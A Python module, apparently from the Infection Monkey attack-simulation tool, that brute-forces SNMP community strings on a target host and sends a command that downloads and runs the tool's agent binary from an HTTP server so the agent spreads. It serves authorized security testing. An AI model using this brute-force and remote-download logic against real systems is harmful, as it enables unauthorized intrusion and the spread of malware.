from logging import getLogger
from typing import Iterable

from common.types import Event
from infection_monkey.exploit import (
    AgentBinaryTransform,
    IAgentOTPProvider,
    IHTTPAgentBinaryServerRegistrar,
    ReservationID,
)
from infection_monkey.i_puppet import ExploiterResult, TargetHost
from infection_monkey.utils.threading import interruptible_iter

from .snmp_command_builder import build_snmp_command
from .snmp_exploit_client import SNMPExploitClient
from .snmp_options import SNMPOptions

logger = getLogger(__name__)


class SNMPExploiter:
    def __init__(
        self,
        exploit_client: SNMPExploitClient,
        http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar,
        transform_agent_binary: AgentBinaryTransform,
        otp_provider: IAgentOTPProvider,
    ):
        self._exploit_client = exploit_client
        self._http_agent_binary_server_registrar = http_agent_binary_server_registrar
        self._transform_agent_binary = transform_agent_binary
        self._otp_provider = otp_provider

    def exploit_host(
        self,
        host: TargetHost,
        options: SNMPOptions,
        community_strings: Iterable[str],
        interrupt: Event,
    ) -> ExploiterResult:
        try:
            logger.debug("Starting the agent binary server")

            download_ticket = self._http_agent_binary_server_registrar.reserve_download(
                host.operating_system, host.ip, self._transform_agent_binary
            )
        except Exception as err:
            msg = (
                "An unexpected exception occurred while attempting to start the agent binary HTTP "
                f"server: {err}"
            )
            logger.exception(msg)
            return ExploiterResult(
                exploitation_success=False, propagation_success=False, error_message=msg
            )

        command = build_snmp_command(
            host,
            download_ticket.download_url,
            self._otp_provider.get_otp(),
        )

        try:
            return self._brute_force_exploit_host(
                host,
                options,
                community_strings,
                command,
                download_ticket.download_completed,
                interrupt,
            )
        except Exception as err:
            msg = f"An unexpected exception occurred while exploiting host {host} with SNMP: {err}"
            logger.exception(msg)
            return ExploiterResult(
                exploitation_success=False, propagation_success=False, error_message=msg
            )
        finally:
            _clear_agent_binary_reservation(
                self._http_agent_binary_server_registrar, download_ticket.id
            )

    def _brute_force_exploit_host(
        self,
        host: TargetHost,
        options: SNMPOptions,
        community_strings: Iterable[str],
        command: str,
        agent_binary_downloaded: Event,
        interrupt: Event,
    ) -> ExploiterResult:
        exploit_result = ExploiterResult(exploitation_success=False, propagation_success=False)

        for community_string in interruptible_iter(community_strings, interrupt):
            (
                exploit_result.exploitation_success,
                exploit_result.propagation_success,
            ) = self._exploit_client.exploit_host(
                host,
                community_string,
                command,
                agent_binary_downloaded,
                options,
            )

            if exploit_result.exploitation_success:
                break

        return exploit_result


def _clear_agent_binary_reservation(
    agent_binary_http_registrar: IHTTPAgentBinaryServerRegistrar, reservation_id: ReservationID
):
    try:
        logger.debug("Clearing the agent binary download reservation")
        agent_binary_http_registrar.clear_reservation(reservation_id)
    except Exception:
        logger.exception(
            "An unexpected error occurred while clearing the agent binary download reservation"
        )
